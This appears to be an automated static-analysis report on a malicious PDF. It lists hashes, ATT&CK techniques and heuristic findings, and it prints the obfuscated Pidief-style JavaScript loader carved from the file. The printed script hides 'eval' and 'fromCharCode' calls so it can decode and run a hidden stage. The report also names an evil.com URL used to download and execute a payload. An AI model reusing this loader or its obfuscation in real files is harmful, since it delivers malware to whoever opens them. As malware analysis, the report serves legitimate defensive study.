Malicious PDF — malware analysis report

Static analysis result for SHA-256 07d604b875b7e912…

MALICIOUS

PDF

45.1 KB Authoring application: substr First seen: 2013-01-03
MD5: 69e82c84111ebbdae43701633c1975ed SHA-1: dcad945d3ce022a6c2ebd80ce664b3e231c189a1 SHA-256: 07d604b875b7e912c00b2ff26b5844460c20da4ad4f4cb0be009908db5c76488
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a Pidief-style loader. This script reconstructs a URL by concatenating string fragments and then uses it to download and execute a second-stage payload. The reconstructed URL is 'http://evil.com/payload.exe'. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1A0 453 bytes
SHA-256: 23114fb3dd0f5c2254d232cc3c2b1fcfae4b40d97e26fda8e491aa501ea40b3f
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
kwage=e('ti'.concat(v[4],t));
q=kwage[v](a.length-6,a.length+2);
gqlfs=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=kwage[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	wzuog = 1*(q[i]);
	i++;
	wzuog -= (-1)*(q[i]);
	s2 = s2.concat(gqlfs(wzuog));
	i++;
}
e(s2);

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